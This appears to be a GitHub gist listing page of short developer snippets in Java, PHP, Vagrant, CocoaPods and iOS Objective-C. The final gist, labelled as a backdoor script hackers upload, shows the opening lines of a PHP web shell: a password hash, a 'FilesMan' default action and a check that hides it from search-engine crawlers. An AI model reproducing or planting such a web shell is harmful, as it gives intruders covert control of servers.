Skip to content

Instantly share code, notes, and snippets.

@dodyw
dodyw / MyClickAction.java
Created January 24, 2015 11:03
Detect onclick event from imageview using interface
package com.dodyrw.mpos;
/**
* Created by dodyrw on 1/14/15.
*/
public interface MyClickAction {
void onImageClick(int position);
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{{{ $pageTitle }}}</title>
<!-- Bootstrap -->
<link href="../assets/bootstrap/css/bootstrap.css" rel="stylesheet">
@dodyw
dodyw / ob.php
Created October 29, 2014 22:50
This is taken from indexu 7 (categorypage.php)
// this is on top
ob_start();
// this is the content
..
..
..
@dodyw
dodyw / eloquent.php
Last active August 29, 2015 14:06 — forked from ziadoz/eloquent.php
<?php
class Post
{
protected $table = 'posts';
/**
* You can define your own custom boot method.
*
* @return void
**/
@dodyw
dodyw / pod
Created February 26, 2014 14:56
Fix cocoapod bug per Jan 2014
pod repo remove master
pod setup
@dodyw
dodyw / Vagrantfile
Created February 24, 2014 09:17
vagrant setting, set permission to shared folder
# Vagrant v1.1+
config.vm.synced_folder "./", "/var/sites/dev.query-auth", id: "vagrant-root",
owner: "vagrant",
group: "www-data",
mount_options: ["dmode=775,fmode=664"]
@dodyw
dodyw / uiLabelHeight.m
Created February 13, 2014 10:32
get uilable height
CGSize valSize = [val.text sizeWithFont:val.font
constrainedToSize:val.frame.size
lineBreakMode:UILineBreakModeWordWrap];
CGFloat valHeight = valSize.height;
@dodyw
dodyw / forceportrait.m
Created February 11, 2014 06:50
force portrait
- (void)forcePortrait
{
if (UIDeviceOrientationIsLandscape([[UIDevice currentDevice] orientation]))
{
if ([[UIDevice currentDevice] respondsToSelector:@selector(setOrientation:)])
{
int orientationPortrait = UIInterfaceOrientationPortrait;
NSMethodSignature *sig = [[UIDevice currentDevice] methodSignatureForSelector:@selector(setOrientation:)];
NSInvocation* invo = [NSInvocation invocationWithMethodSignature:sig];
[invo setTarget:[UIDevice currentDevice]];
@dodyw
dodyw / format.m
Created January 29, 2014 07:14
currency format
NSNumberFormatter *numberFormatter = [[NSNumberFormatter alloc] init];
[numberFormatter setGroupingSeparator:@"."];
[numberFormatter setGroupingSize:3];
[numberFormatter setUsesGroupingSeparator:YES];
[numberFormatter setDecimalSeparator:@","];
[numberFormatter setNumberStyle:NSNumberFormatterDecimalStyle];
[numberFormatter setMaximumFractionDigits:0];
NSString *nominal = [numberFormatter stringFromNumber:[dict valueForKey:@"amount"]];
@dodyw
dodyw / gist:8213007
Created January 1, 2014 23:49
Backdoor script type #2, usually uploaded by hacker to folder with 777 permission.
<?php
$auth_pass = "460c3646e4c75a4fae5c8fe817e0c435";
$color = "#00FF66";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action = 'FilesMan';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {